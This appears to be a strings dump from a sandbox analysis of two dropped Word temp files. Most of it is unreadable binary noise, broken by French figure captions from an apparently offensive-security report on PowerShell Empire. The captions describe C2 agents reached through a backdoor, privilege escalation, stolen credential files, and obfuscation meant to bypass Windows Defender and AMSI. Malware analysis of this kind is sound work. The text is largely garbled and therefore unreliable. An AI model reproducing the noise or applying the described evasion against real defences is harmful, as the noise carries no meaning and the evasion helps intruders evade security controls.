Ansi based on Dropped File (~WRD0001.tmp)

F$nYMx|@L/+?4\3XCE]W|[RZRZ]cc=-0nQ774\.S~g*HD^j7b'b.A!L4=W{ .Ew55>NLM9hUy5s%9+)D:j4=p{Q/Y:Q$4hCOjt9R?

Ansi based on Dropped File (~WRD0001.tmp)

f&=, ^dLlkc"0s\u

Ansi based on Dropped File (~WRD0001.tmp)

f+~SB`&Ls5xGq/3N.cThS)W04dQQFf%qtAa;}#ZsssPRf{}3J9_VZX`-MjeDkJF*cc14JV}:J3-/ykFW{vGW>wN(.OQ/~gJ>G&e-[bVkno5

Ansi based on Dropped File (~WRD0001.tmp)

F,w>XsMlo1{KYG7{{?Ks[jJss{#rxivRfUP%S)r9Mi5mDM dkg{>7V/oO-.i~~mrQK-5C~zcT5Vu;rRY)/nv?U:V17[twG?|?9rz1%GJ_u_tO"#'zr/[n{0>{DV{j[70Yw=lq8QD8BlL0,?Hd[+26ryPBigI)-v!mC[miEq]:z#

Ansi based on Dropped File (~WRD0001.tmp)

F--_-l.5Q'-5%~J[-gF$1W&I4U/BKgEni#aIqjx=DO^lR~fXQGsVEW7"NG]K85m21)E #vi~,y]hWjNeME*Jg_<n89g {z/3@Dku6p~m_J"LYs'LNun|,L{TcW?z$oc-7HWx\e.\rvpF~["E;O>Y

Ansi based on Dropped File (~WRD0001.tmp)

F-?(vjS]Rh\_eqqu/R.0oh|,h8ESWmsPMHs7h{yqb;5~ikm` y._

Ansi based on Dropped File (~WRD0001.tmp)

f/5^D3ML?lL]L3bX.gSShQpC0QrPCH)gMoubt!7)(4a`yq.n7NxL!>,t+,B\|7ar#U~j^Lus~Esw3?NUN'Mr>|Tqa+"lrxbR8OX]M,~Nc-Shr)&XA{-\v5l@U_T{

Ansi based on Dropped File (~WRD0001.tmp)

f05l<>X#{O]D!Q4%Hn?IdNOZV'zP!0nIKX ~V5[0nuU5uWmM+^umeW['SBhRV?Yy6ZJg')%N+|TKi5t!iRi=0&nz3UMskJV<l

Ansi based on Dropped File (~WRD0001.tmp)

F1>prV~IibzJ}.|B px&L=)z}{7MoQauO8DnD~4#:Nx)3$mg1>`58k<Ou~6s-

Ansi based on Dropped File (~WRD0001.tmp)

f3^WQ50`VSI8OsG2=:%bgF.6;HI%iB[){lY~<a)+-;nRuYOA

Ansi based on Dropped File (~WRD0001.tmp)

f4FMk<qH"8uq)]"#w{e{^J9R72_J1YOA0J#U|y^FI&("_0z3MY51^3+uXb*C,XVXcoG>qDZ_7R}b6eQX"dOLtq8/AdTon5A@7JH`;WJN({v{4D-I$~:

Ansi based on Dropped File (~WRD0001.tmp)

F58OW+|v=

Ansi based on Dropped File (~WRD0001.tmp)

F5D]52VhOCA33OcJ

Ansi based on Dropped File (~WRD0001.tmp)

f7km?<&fR][W$|9!R^h"{]:,nk?!aCgp6QK3*t'Bijm?/DVw)J0.zu#O4j 4Qb2zV0,S|jt%}$`%|RBZK^"|]n=&<?Cr#'W9wPd/T1s3z$TqR.dDamv|X+/K$4ul;YX,>C&x'R=E~m<"&-n~LW</k!VmC%ue5

Ansi based on Dropped File (~WRD0001.tmp)

F8 1ZR0? !66WLRkGYGT2e2VN

Ansi based on Dropped File (~WRD0001.tmp)

f8k4Cj/wNx>m9HFISIsXoX.[M;Q0FXM-eXYve@L(R

Ansi based on Dropped File (~WRD0001.tmp)

f<||?lo77w!9ZNN8|:5|jt>() elmMq?0, q7;j+SUB{/;j~D"i]i~nap:@b^kqWdG;

Ansi based on Dropped File (~WRD0001.tmp)

F=0sg_$q2t&qYt(Ov/qzI\d#<'Az<qIa*y,Ph^E8s=,qxx]-{Q<%bEG$/RJ|x[ s 3b,

Ansi based on Dropped File (~WRD0001.tmp)

F=\.wxs2("7%N)<wO#:2(zw;$L=1^l?xg~v"\jIp7DD=1Yd[iTpv}u'^}V{9\` H9(2 c ~QD4owGF

Ansi based on Dropped File (~WRD0001.tmp)

F@1S%///9=#NfxrVCk,na+-FKA*Old<]HBh}3Gl'kIGD-">jaByeTk

Ansi based on Dropped File (~WRD0001.tmp)

F[ppvbh?N3VH[)P[\q7/}G3*KsqLNa(i+i\1}6s-!_S uZd%lR_J]!tgbk_ecvVMu4?OX

Ansi based on Dropped File (~WRD0001.tmp)

f\m1il3&fgAqFDzUIIHjX3uO?c<{^d$:1\Hvh2+

Ansi based on Dropped File (~WRD0001.tmp)

f^'nQ{|RL

Ansi based on Dropped File (~WRD0001.tmp)

fa'Ov'$.nI/Z)^7KkI,.U2"e/.m)<b+.o0Mw&Te1+u,:eF%!:iiXcJSLx$84vlXCk:E=W195bP(jX}it#$\B1%uHEcqdWxGK;MgIfY<WE7L?O]u-c

Ansi based on Dropped File (~WRD0001.tmp)

FA/tRmLK[

Ansi based on Dropped File (~WRD0001.tmp)

Fa[Xbr`03\/}m|QPC.Qr;~+PtcBD

Ansi based on Dropped File (~WRD0001.tmp)

fao.b*lIrj),l0%b

Ansi based on Dropped File (~WRD0001.tmp)

Fc]h[Tg`T3R-{H?cgfF-F#@PhcB(L9Gongf))>!<jGu<O|

Ansi based on Dropped File (~WRD0001.tmp)

fcKS_N^v=j[{O:_/bY/wQ0xUbK>Hl].UKap=)G`xSZ4-f*

Ansi based on Dropped File (~WRD0001.tmp)

fD[6"~rr#_4=:vqK{Tu]?%}x{y[PibEio2_!d+OB.

Ansi based on Dropped File (~WRD0001.tmp)

FF$(8OAOw8r[G-B}[-KDu;.}p,<cxZmCSG: ^mC~`?r&L=Gvt:^)Gt\p2.|LZ%G]%Yu6tuabGih%K4\+%nukg yKA[o[L!rT._h||7y%"(ot[`M:']|-'*V?3-Lg'sn2=.|V'v5[SmVdy@\)PbQ4WyKB6$\LTaqDPKG~Nov~S:z<ZiXeEK1qdjx%}k].tJiuhtqr]yxA8

Ansi based on Dropped File (~WRD0001.tmp)

fF3'ct:_7\7,mJ f:z.%l~:)giyQ.CDH>`;nX!yFyT['_C}0{]Wn'"0Eigj8qTr6Xi'DCny\i#7Nq2VCWRW";x[< OFudm9qr<4-d\=w

Ansi based on Dropped File (~WRD0001.tmp)

fG\ E,<~Z8@HM!?Q6^=@:{K98j?J1UKr4n^8?z^yz`P%#2e7n|FN8qg"^/d!o>&.W2Ms.cSf+!H6Lon<#QX5^w3}9WAHq=.g5>KQv

Ansi based on Dropped File (~WRD0001.tmp)

fGI8}Yc05ttYUpg'c*EiNe2h=ue(j7;e-v!\a[0XKcJ93bj_|gkiKB=,-G=h7d%,U6&~QKKWQz:ZHhe\]}<[D9NH2iUSGrvQSDMq=2]`LC

Ansi based on Dropped File (~WRD0001.tmp)

fGP:lq/_<fHobrz`7ETFE[gL"r?NA$29TI$

Ansi based on Dropped File (~WRD0001.tmp)

fhBc4DgF0|H\)GgCq9aq_~9k,r"ex=PBTu+Sb(An^JWm_)x{$Sy!"G

Ansi based on Dropped File (~WRD0001.tmp)

FHi#C>`h9<C'l8e$xx=O5O%>dGB|~{iBW-W,<?|emd1+@Hdthx|f1{fWR:4u>Ds9&t^?-J|JZzJ ?c&B2#gU\--T\MHk=a6R}K6O>iz.{^'F[[t#xv>)y:M7:YIbHAI~Qv*4vCh4_=AE:X~'u!#u>uY^>M?L `Ok!X;J<p],Zs5t>}JgGI}.Gyx6qlB2Fv^rDU)T'"alX p{^[Tl{6S$D/)HHN|0yO=bg{v6z{+|`\"PtW&?0Sd4m $Lu!80MsdFH\sADgz%w}A7B`c!{KQq3|C

Ansi based on Dropped File (~WRD0001.tmp)

Fi]U(lOAnm?EQxM?X3_i<gA=Ms4eU;un:_j;n6M^|<r_\ 0$w\sVNSfqcZjWNkufk?gJL|TH$|W.qH3#Ng4iJH<dZ$f.WhWl|W 7vVgV*6wfK=FN+ntIz`j?O{x[Tp-=}Eci%SZ1

Ansi based on Dropped File (~WRD0001.tmp)

Fichier de configuration

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Fichier des logs

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure (AAADDEEHtHH2IhIIJXJ`JKK*K"LXLLgdY*]gd. gd/gdg$a$gd)/Igd)/I

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Agents connects au C2 via le backdoor: Systme au premier dmarrage et zowind10 la r-ouverture de la session utilisateur.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Base de donnes empire.db, contenant notamment les informations des systmes de chaque agent.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Commande sysinfo>6$ n(,~$a$gd^$a$gd$a$gd^gd^gd\)gd^gdRW$a$gdRW$a$gdRWgdRW sur un agent compromis.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Donnes JSON pour l tablissement du graphe de l AD, selon l agent compromis

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Duplication d un agent compromis.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Echantillons des fichiers sessions.csv, credentials.csv et master.log.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Powershell/Empire.A bloqu par Windows Defender.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Ressources utilises par le module allcheck.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Succs de l lvation de privilge. Un nouvel agent est cr, dont le nom est prfix d une astrisque *.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Version dcode (haut) et originale (bas) du payload>Lxz|~HJLNv<np

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure Graphe de l AD, selon l agent compromis

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 1 : Case insensitivity

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 11 :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 12 :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 13 :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 14 : Si Zz\zzz,{:{{{{{{{{{{$(.4BDFHJ}p}kd`M$jh\h\UmHnHsHuh\hfhfhf6jhfhf6Uhfhf6h\6$jhfhfUmHnHsHuhfhmhmhoho6jhoho6Uh6uhoho6h{o6$jhohoUmHnHsHuhoh{oh?

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 15 : Ast\All

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 16 : Token\String\1,2

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 17J2468:tx~|id\Rhh6uhh6h6$jhhUmHnHsHuhh6hf6jhh6Uhh6h6$jhhUmHnHsHuhh\6$jh\h\UmHnHsHuh\h\h\h\6jh\h\6Uh6uh\h\6 : Token\Whitespace\1,1,1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 18 : Encoding\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 19 : Compress\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 2 : Concatenation bypassMMTMVM\MbMMMMMMMMMMP6PxPzP|P~PPPPPPPPdQfQhQ~zsnieR$jhDMhDMUmHnHsHuhDMh6hE+6hhE+hE+jhF hF 6UhF hF 6h{V6$jhhUmHnHsHuhF h{Vh{V6h{VhKJ6$jhF hF UmHnHsHuhKJhGjhKJhKJ6Uh6uhKJhKJ6h*NhKJ6. C est le scripting engine qui rassemble ces concatnations

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 20 : set ObfuscateCommand Ast\1, Token"6NdhjFH"$a$gd9$$a$gd9gd{o$$a$gdogdS6"$a$gdS6$$a$gdS6"$a$gdo$$a$gd;1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 21 : Macro stocke dans Projet DOCNAME.docm/Microsoft Word Objets/ThisDocument

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 22 : AMSIBypass2 is 2 years old

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 24 :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 3 : Variable insertion. PS voit le $ comme un caractre spcial d une variable.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 4 : Format String bypass

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 5 : Le stager d une ancienne version d Empire 2.5 avait un bug. Windows Defender utilisait cette duplication comme flag.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 6 : Invoke-Obfuscation

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 7 :

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure SEQ Figure \* ARABIC 9 : Obfuscation avec la commande Token\String\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure - Builtins d un agent.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure 6k8k:ktkvk|kkkkkk,n0n6n<nnnnnnn|o~oooooo0p4p:p@pBpDpxpzpqq@tslhhdh;h~wh{h{jh:eh:e6Uh:eh:e6h:e6$jh:eh:eUmHnHsHuh:eh{oh&hhhY`*h|h|hFC6h|hFC6jh|h|6Uh6uh|h|6h|6$jh|h|UmHnHsHu& SEQ Figure \* ARABIC 10 : Obfuscation avec la commande Token\String\1

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure dddddddddeeeeeeNePeVe\e^eeeeee,j.j4j:jlj6kqiaTaOhFC6jh|h|6Uh|h|6hFChFC6$jh|h|UmHnHsHuh|h.hShSjh{h{6Uh6uh{h{6hS6$jh{h{UmHnHsHuh{hXJhShSh.hAhh.hXJh&6h&h&6jh&h&6Ueenj|j6k:kkknnnn(o~ooooBpDpzpqgd;gd{"$a$gd:e$$a$gd:egd{ogdgd~w"$a$gd|$$a$gd|gd|gd|"$a$gdFC SEQ Figure \* ARABIC 8 : Dfinition de la commande

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure jDBDFH,06<>@z| "xkxd`Y`Uh-

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure: Echantillon des feuilles du fichier Excel gnr pour: les modules, leurs options, les standalones, leurs options.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Figure: Recherche dynamique des noms de fonctions disponibles en fonction de l entre utilisateur

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

FiL 6.8xE>']:Ws#RY&oh3.%4-\5YVP+((((((ty'A -h!.;]#2^\W-{5*AB_)5h77

Ansi based on Dropped File (~WRD0001.tmp)

find / -name <NAME> 2>/dev/null

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

first can be executed at run-time by script engine, then stays the same

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

first cannot be executed at run-time by script engine, then translated in second

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

First stage only is obfuscated. AMSI @tBtDtFtttttttttt u$u*u0u2uDuFuuuuuxxx^y`yyyzZzxtpkkb^ZVhz

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

fIz)5kL5'Hd^6Hy(UQBCQAAG44gHG ?6xfgDQac1`24]Y4A #N_gWJ-%A|z/Va|tw]]h!^|RAn5-Fl5

Ansi based on Dropped File (~WRD0001.tmp)

fIz-i.'$u):6B8]Sh5La9i~A:&Ly&n\(6Zb?B(c. dcv8.s%DvVPoi"}t?!"EZJ589Fa}irB9#7h;KaD|2#fO7^T&L0awPTo#.G1KMI>Q\

Ansi based on Dropped File (~WRD0001.tmp)

fj6v%_3-)@b

Ansi based on Dropped File (~WRD0001.tmp)

FK3y<=t'+)CmiS=(iHJ`NRv*IT@v~0qzKQ0a(B0_XBH]jQ\H'.!s2Io8KW6W:.0

Ansi based on Dropped File (~WRD0001.tmp)

fK<8t63c-(^6xEqKyWcHlu9qy\b8v:=])m=:7Dv!zE>

Ansi based on Dropped File (~WRD0001.tmp)

FkcEMidN#&*nGE]1Jw]@S\eQ?^`dd.O#+rl4QfbMGbqgN4o%#XpLU/2m:5oW

Ansi based on Dropped File (~WRD0001.tmp)

FKy>(uZtj50w@GxFMz:$}=t?NWV]d<zJrnqQ46ZzM9F~|:c8Yfg_8O!%0;;Cw1QQZ#m8slvH%1;Q

Ansi based on Dropped File (~WRD0001.tmp)

fL++/wt k+ePBiTZ~#1(Y!NBc#_

Ansi based on Dropped File (~WRD0001.tmp)

fLtG?kE1R@eU`>T;9-#eNWq=5d*PM26VZ

Ansi based on Dropped File (~WRD0001.tmp)

FMSytZZeX-p_

Ansi based on Dropped File (~WRD0001.tmp)

fMZJv/{PurgR8MLp/8OeI9}S4O8~<|J(y?^T)^8{QalpD{1b*gjfX(H0(Ol<gZqz\D(bJ<g)=2#q/|C-YV\8ys399v!llIG7MyC=ui8:U:&bT;q7#J@H3

Ansi based on Dropped File (~WRD0001.tmp)

FnHekl:}l[cw?*?bshcD/3|[-?_Z7:hPzG0>p_~?w?w

Ansi based on Dropped File (~WRD0001.tmp)

fOQ=kG\tG?5VTC>Y|{'t*S=Fq|wZy[Sw}}/<W=i@=)*0lM[%5zW4uZr|HY.W=B,.Rl/TNjAfvq#%Oo

Ansi based on Dropped File (~WRD0001.tmp)

foX%GTrdwh'g&}y\Lv'U"_WWuSu,A59YITx='\Igy]U:^JbdaJ>Uj:<^1+7Q5os_[^~4@-oW_iGj67G/? {S`UKUNH>O>{!O^N)$4aL.|[^}3$cadg]97=:?S(t.*m,YP][QMW$hj@lQH{W/l+~-M#c8OQPd~{<h9wcQ[w2sm.z,5j15]N0~XwP1vJu`%.-s(oKPO>JzFG,Q)9,Eva=UniYN<n`b1c&Q3

Ansi based on Dropped File (~WRD0001.tmp)

FO|I^N|Q7aGT2051F)H(4TKZ

Ansi based on Dropped File (~WRD0001.tmp)

FO~rBjW:bD&H

Ansi based on Dropped File (~WRD0001.tmp)

fp<#,F[sHh3<adv8-,ewMX.;LLU]vkIovW>3Xi6-s3lMFoL-5KI3<$=I!fJ2/o{8@*8+X0JnJZ{Pv,Im6&k1^~ddm

Ansi based on Dropped File (~WRD0001.tmp)

Fred a fait une remarque intressantehier

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

frEG3]N`3K5Lps;CueVgtrRhOebqTj&_r3^NGr

Ansi based on Dropped File (~WRD0001.tmp)

fsam3nq#i([{b|R|LU|f"}y<FOl9Cz4.g!9e\?W7@TRH10Z8W/Q<}&[z3*(((((((yACc"-_l?q<

Ansi based on Dropped File (~WRD0001.tmp)

fSY46u-_|EP+0B+f;w|arzHW0!BB0DI#Fs{|YP4p!/I|=dSjO?9B,D4EqQqF/_si(0}:aEK,X@f'MqM>0)OE8p@v(OX$E=h1E?y$Ut%l:*b8&

Ansi based on Dropped File (~WRD0001.tmp)

Fti&:7Py@calU#KOVW

Ansi based on Dropped File (~WRD0001.tmp)

fu2]_L#t{;.]T

Ansi based on Dropped File (~WRD0001.tmp)

fUS]xo!v#'x!HAirg\4{J[_.LJ{J=5T7j4uW7Nh/eTYk'@)40E<4Xk`_FvNGY:[xg9P:=d`nb8t&_TbTP

Ansi based on Dropped File (~WRD0001.tmp)

FuVChI`rW2Cz0L"?<x`/<:\MQAlK_,fdI_j0%Q|m

Ansi based on Dropped File (~WRD0001.tmp)

fuvG4U<zJbF,XBFB*}N8kvP!(Ix]@eiG+

Ansi based on Dropped File (~WRD0001.tmp)

FV]p.vm3]Sj}f3Q1I

Ansi based on Dropped File (~WRD0001.tmp)

fV]xf=Wf(Pk#S<^Ie

Ansi based on Dropped File (~WRD0001.tmp)

fVw^)jFb10/o/hZ)tGJFyCQSMR53Z< "JPXRN|+t*z{f6,K*CPT\CL:z+R"*G@'Dt?yit*Ce[xg@zi]xe5GKtS<y~D~s:jd>9aLsYh)/;_+M"s97Q.Rr|,076q+$5L

Ansi based on Dropped File (~WRD0001.tmp)

fW!&O[<%nY1IyCMe~WPg(~z'r7?> x0_

Ansi based on Dropped File (~WRD0001.tmp)

FWp\l|bD^" <NH+95N#oXmyLYIs=GdF1,n0@27`W"[G-~?I@^%D|`pqSjZwkI,=xK5&|`a=\uv+][

Ansi based on Dropped File (~WRD0001.tmp)

FxL-+wsLLLD0pv-Kt.QR.6>{pn}{rT.v&S?Btv#s}G8os#L||>y

Ansi based on Dropped File (~WRD0001.tmp)

FxPy%p?<2,&q3"f$!pk3%Fb%!DHy\ F&0/Xb&E;y@|YF3BM$wtWxV{X331)'&Z&YB1U,

Ansi based on Dropped File (~WRD0001.tmp)

fX{<a@|BFFFFFFFF=pnq<+$N|!BX1wlLTfs\Ifk&3owC0ZC2222222222`-^p=DT\|

Ansi based on Dropped File (~WRD0001.tmp)

fz/r'hFAY[Bs0w-)nJ&ELHuUmQMoe'mHD[;ZJ"}x?A<Ms}z"$xY!(#T~+"67EEYw%3y+uub3ORNge9w#qoEC#2eHoX&F!mK{)0a|I!PNuKrvcA`eMG%2mo+9 Q,J #y%Qd8m7zMG=ro^bbb3p0(KCQ@/M` 7^"M-U|S<oob~BTw9Hqpzyx:`=q={p)lHS55QfElxb_txZIiN7bRJ3KyBn%>;`ABr2lvr~<L6g>c]cw+oWQtj3[hHB>xI h*."bBQ;qdZ#Z%?GIHF!7HY2!{g8Wd{4tY!}tg/LZxA|#9C;H5xO2Z*>3LP(iD!L{/mgw#U{)a;ew'W5x3YRbV#+.f@

Ansi based on Dropped File (~WRD0001.tmp)

F|GH.&1E!e\V[^

Ansi based on Dropped File (~WRD0001.tmp)

g"-!W$".[+1qu

Ansi based on Dropped File (~WRD0001.tmp)

g$~ING'|o>}Z*N*

Ansi based on Dropped File (~WRD0001.tmp)

G%,"M$9P)S1X[3IHCF1b&L1c0t<R'xqGl1';>.>9LK

Ansi based on Dropped File (~WRD0001.tmp)

g%g"ojWLWM`:OOwc)Wq. 8wczxvWows\b"xm'bb,*$QEd:\~iy'V,LwUl:%bi[HtVBx.?dMQA"Se^ZQx=V

Ansi based on Dropped File (~WRD0001.tmp)

G%H5jf&fnrp`@R+!AzK+9u>8{4!ag.E;0AZ>bLp^.5@.]+U?Wt]HT:s?dBh".Pf8^#.Ag}11N'H&*A?7<in*VcD^NWjA

Ansi based on Dropped File (~WRD0001.tmp)

g%z)'<{y)$iMksHvWuL'D+WZfjUnZ=VuI[NTN&:L|q3O0|'A`6)IfjJocW#8Xb/o5e8RF$}.97v&~T]&gFjs;HO?YOwIw<C'N/gnH".

Ansi based on Dropped File (~WRD0001.tmp)

g&8@`Y[/f|kv6C#CfYj)qjChUR/l7n+'[/$

Ansi based on Dropped File (~WRD0001.tmp)

G&>t+q|V7DhBgg~[:{4a%B^d^i:KNI>@WDnpx0o9I}>"/

Ansi based on Dropped File (~WRD0001.tmp)

G&H8Cttlr"VXYBr}Ri2409%oPeHAAAAAAAA/o/b25YZ-

Ansi based on Dropped File (~WRD0001.tmp)

G&XlT?:Jn|Y]JL2v=+sH42RX8+{^-+sY,wK'",yM'u,2wr2wD].7TZUW(Rz^:zfZmfd[d)lB|&sLHaQz-QNyg

Ansi based on Dropped File (~WRD0001.tmp)

g'ddvx{?ZD[b^]Q33cse$);tf_%6,SX"9oe76R$eHGAAAOB8i}rXtv=.W$F^o8iVGs|#I1}`|tT7,|)m!6!F}K6{ZqjQXGjm

Ansi based on Dropped File (~WRD0001.tmp)

G'o|a):sWZ=vuN}GP`=~Y9pWF[8HF='!c_8Lpd6uG]TAa 6qP6PM=kvOSE+(f#\q[N4

Ansi based on Dropped File (~WRD0001.tmp)

G'Pi&chnI^8`'

Ansi based on Dropped File (~WRD0001.tmp)

g'vr[X,Jt{E+tQII_Aq@+<

Ansi based on Dropped File (~WRD0001.tmp)

g(W-PLaJ|0rRThh3:EHJTH~c|WSjoo}F~GS-jkc$B1>gt:kk5rg(YloO[~`9!_[-5?n(9hsrI|KXvkile~j_hlRYMl>;%}kJ1^lSK]hG:bDeL|MFs(

Ansi based on Dropped File (~WRD0001.tmp)

G)[~Yl[tFqs;E3e97kO_lam%>sEQk;{SgOQGr,5r,I}8I]r`7n=qJP~.=[{wr\NZxks;jloxfn}u.)#hUDUk(ZE+sL6|LEl

Ansi based on Dropped File (~WRD0001.tmp)

g)s]0>{.E&,M-Ij

Ansi based on Dropped File (~WRD0001.tmp)

g)TAeDiqV?%A_TH]`7kjDvt]=GYsfnWE~-iLZu7u*"

Ansi based on Dropped File (~WRD0001.tmp)

g*0o.]kL',vWM`Oi

Ansi based on Dropped File (~WRD0001.tmp)

g,Oqd7`:n0!~)v`#l(M3/xxNyYJ

Ansi based on Dropped File (~WRD0001.tmp)

G.>t*YZTu=|!56>~XIX9&2Qh:Z h9:,mXM9hG'q8o;|SJ!_7"o

Ansi based on Dropped File (~WRD0001.tmp)

G.P9>/ eloBKjI~Bz{GqB$4m5}Yz,vNyTU!C-$c,*@(G*)%c!atN}5 _#n||u&\nLJSOkto1uHQ<#,@]pG}!c!nX772

Ansi based on Dropped File (~WRD0001.tmp)

G/y*7^^,7W<8

Ansi based on Dropped File (~WRD0001.tmp)

G0pK<Wn)vk=Gh\8f^NC!

Ansi based on Dropped File (~WRD0001.tmp)

G3&%5G%|5{!J<j+V O:zd%C8t^?(A|mg

Ansi based on Dropped File (~WRD0001.tmp)

G3P37FL?Lr~'xpk]aF'

Ansi based on Dropped File (~WRD0001.tmp)

g3|R+4|/Ik_)/_z;.O[Xu>JKIo/,$e>&rqmNn]B+2t$q`l2"8c\dE4e%J;|#V!)|}C}E<-C8}}U@cr8v;ilO]8JsC"`tGj$I"eUB:La|w?!-qIgDchzEDz17:jg

Ansi based on Dropped File (~WRD0001.tmp)

G7=zlvRZ3}t[KZJ7m=hx@sx5"#_>2jX^hZ;X|<YJ,I8'r5EDNuc-!Deqcs}4o &6~R0iFy6C&Uxk*.AHqO)^DlU-{*M'PgQda

Ansi based on Dropped File (~WRD0001.tmp)

g7ZXlN;fH%T W??I_)(35f:}r2(kJ

Ansi based on Dropped File (~WRD0001.tmp)

g8rEddIW#G|};CFFFF]

Ansi based on Dropped File (~WRD0001.tmp)

G8S2R,Cs:20?%`x+Is$=_UJr0c-I1$DZ;GN06pTT<1-VtNld*sKb"X6Ji`,70S* fM`Dm81PE6!%pn3M$iC`Xh=*`*;$n'Xp*jSRRHc5NCK)PF:m%?&sHmPIea##M`

Ansi based on Dropped File (~WRD0001.tmp)

g8|d47Z2HOtIVE|ow'.]AV>XpOVz0ZNM|M

Ansi based on Dropped File (~WRD0001.tmp)

g9 j_J<LYYTo,l"3'+p@#[NYJeTm<)8BkR\,`::GOzr,mITeU@*z<Ep3znR2/2Vei/elnZ

Ansi based on Dropped File (~WRD0001.tmp)

G:e=;|IW(

Ansi based on Dropped File (~WRD0001.tmp)

g;nK[`&A~t{hy"cw=fN

Ansi based on Dropped File (~WRD0001.tmp)

g;nX[2oy&?~

Ansi based on Dropped File (~WRD0001.tmp)

g<r<PKnXGm?g&c'n0ui6@S<aQ?lk"Kbw>k+D0%F|,`d"kH(.-k0d'm^U@"B8/Vo*lVTtxRj'a_Das

Ansi based on Dropped File (~WRD0001.tmp)

g=veC #####

Ansi based on Dropped File (~WRD0001.tmp)

g>q<:/},<}^\

Ansi based on Dropped File (~WRD0001.tmp)

g>wa=)X?#uyH<f{xGEk;*: ;<;

Ansi based on Dropped File (~WRD0001.tmp)

